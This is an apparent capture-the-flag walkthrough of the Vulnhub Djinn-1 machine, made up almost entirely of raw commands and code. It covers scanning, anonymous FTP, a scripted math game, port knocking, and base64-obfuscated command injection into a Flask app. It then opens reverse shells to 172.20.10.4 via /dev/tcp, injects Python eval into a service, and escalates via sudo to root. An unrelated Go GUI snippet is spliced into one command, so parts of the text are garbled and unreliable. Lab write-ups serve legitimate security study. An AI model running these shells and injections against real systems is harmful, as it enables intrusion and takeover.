Vulnhub-Djinn-1

https://www.vulnhub.com/entry/djinn-1,397/

nmap -p- -sV -sC -A 192.168.0.106 -oA nmap_djinn

#anonymous/anonymousftp 192.168.0.106

ftp > get creds.txt ftp > get game.txtftp > get message.txt

cat cred.txtcat game.txtcat message.txt

nc 192.168.0.106 1337 -vv

gobuster dir -u http://192.168.0.106:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

#coding:utf-8 import logging import telnetlib import time import re
def main():    try:        tn = telnetlib.Telnet('192.168.0.106',port=1337)     except:        logging.warning("errr")    time.sleep(0.5)     loop=1     while loop<1002:        data = tn.read_very_eager().decode('ascii')        print(data)         res = re.search('(.*?)s>',data).group(1)         datas = str(calc(res)).strip()         print(str(loop)+":"+datas)         loop=loop+1         tn.write(datas.encode('ascii')+b"n")         time.sleep(0.1)    data = tn.read_very_eager().decode('ascii')    return data
def calc(res):    res_str = res.strip('(').strip(")").replace("'","")    muns = res_str.split(',')    munber1 = muns[0].strip()     orperator = muns[1].strip()     munber2 = muns[2].strip()     res = eval(munber1+orperator+munber2)     return res    print(main())

python3 exp_1377.py

knockdknock 192.168.0.106 1356 6784 3409

nmap -p 22 -sV 192.168.0.106 

echo "cat /etc/passwd" | base64# 编码后Y2F0IC9ldGMvcGFzc3dkCg==

echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash

nc -nvlp 9001

bash -i >& /dev/tcp/172.20.10.4/9001 0>&1echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC85MDAxIDA+JjEK" | base64 -d | bash

python -c 'import pty;pty.spawn("/bin/bash")'

import subprocessfrom flask import Flask, redirect, render_template, request, url_for
app = Flask(__name__)app.secret_key = "key"
CREDS = "/home/nitish/.dev/creds.txt"RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]

def validate(cmd):    if CREDS in cmd and "cat" not in cmd:        return True
    try:        for i in RCE:            for j in cmd:                if i == j:                    return False        return True    except Exception:        return False

@app.route("/", methods=["GET"])def index():    return render_template("main.html")

@app.route("/wish", methods=['POST', "GET"])def wish():    execute = request.form.get("cmd")    if execute:        if validate(execute):            output = subprocess.Popen(execute, shell=True,                                      stdout=subprocess.PIPE).stdout.read()        else:            output = "Wrong choice of words"
        return redirect(url_for("genie", name=output))    else:        return render_template('wish.html')

@app.route('/genie', methods=['GET', 'POST'])def genie():    if 'name' in request.args:        page = request.args.get('name')    else:        page = "It's not that hard"
    return render_template('genie.html', file=page)

if __name__ == "__main__":    app.run(host='0.0.0.0', debug=True)

cat /home/nitish/.dev/creds.txt

more /home/nitish/.dev/creds.txt

su nitishcat user.txt

sudo -l

ls -la /usr/bin/genie

genie -hman genie

genie -cmd id

sudo -u sam /usr/bin/genie -c id

sudo -l

sudo -u root /root/lago

nc -nvlp 9002 > 1.pyc

nc 172.20.10.4 9002 < .pyc

uncompyle6 -o 1.py 1.pyc

pip3 install uncompyle6

https://github.com/rocky/python-decompile3

cd python-decompifunc main() {  a := app.New()  w := a.NewWindow("Diagonal")
  text1 := widget.NewLabel("topleft")  text2 := widget.NewLabel("Middle Label")  text3 := widget.NewLabel("bottomright")
  w.SetContent(container.New(&diagonal{}, text1, text2, text3))  w.ShowAndRun()}le3pip install -e .

pip2 install uncompyle6uncompyle6 -o 1.py 1.pyc

# uncompyle6 version 3.7.4# Python bytecode 2.7 (62211)# Decompiled from: Python 2.7.16 (default, Jun 18 2021, 03:23:53) # [GCC Apple LLVM 12.0.5 (clang-1205.0.19.59.6) [+internal-os, ptrauth-isa=deploy# Embedded file name: /home/mzfr/scripts/exp.py# Compiled at: 2019-11-07 21:05:18from getpass import getuserfrom os import systemfrom random import randint
def naughtyboi():    print 'Working on it!! '

def guessit():    num = randint(1, 101)    print 'Choose a number between 1 to 100: '    s = input('Enter your number: ')    if s == num:        system('/bin/sh')    else:        print 'Better Luck next time'

def readfiles():    user = getuser()    path = input('Enter the full of the file to read: ')    print 'User %s is not allowed to read %s' % (user, path)

def options():    print 'What do you want to do ?'    print '1 - Be naughty'    print '2 - Guess the number'    print '3 - Read some damn files'    print '4 - Work'    choice = int(input('Enter your choice: '))    return choice

def main(op):    if op == 1:        naughtyboi()    elif op == 2:        guessit()    elif op == 3:        readfiles()    elif op == 4:        print 'work your ass off!!'    else:        print 'Do something better with your life'

if __name__ == '__main__':    main(options())

sudo -u root /root/lago

cd /root./proof.sh

sudo -u sam /usr/bin/genie -p "/bin/bash"sudo -u sam /usr/bin/genie -p "/bin/sh"genie whoami -p /bin/bash -e /bin/bashsudo -u sam genie -p "/bin/bash" -g wish

nc -nv 172.20.10.2 1337> eval('__import__("os").system("whoami")')

nc -nvlp 6666

bash -i >& /dev/tcp/172.20.10.4/6666 0>&1echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC82NjY2IDA+JjEK" | base64 -d | bash

nc -nv 172.20.10.2 1337> eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNC82NjY2IDA+JjEK | base64 -d | bash")')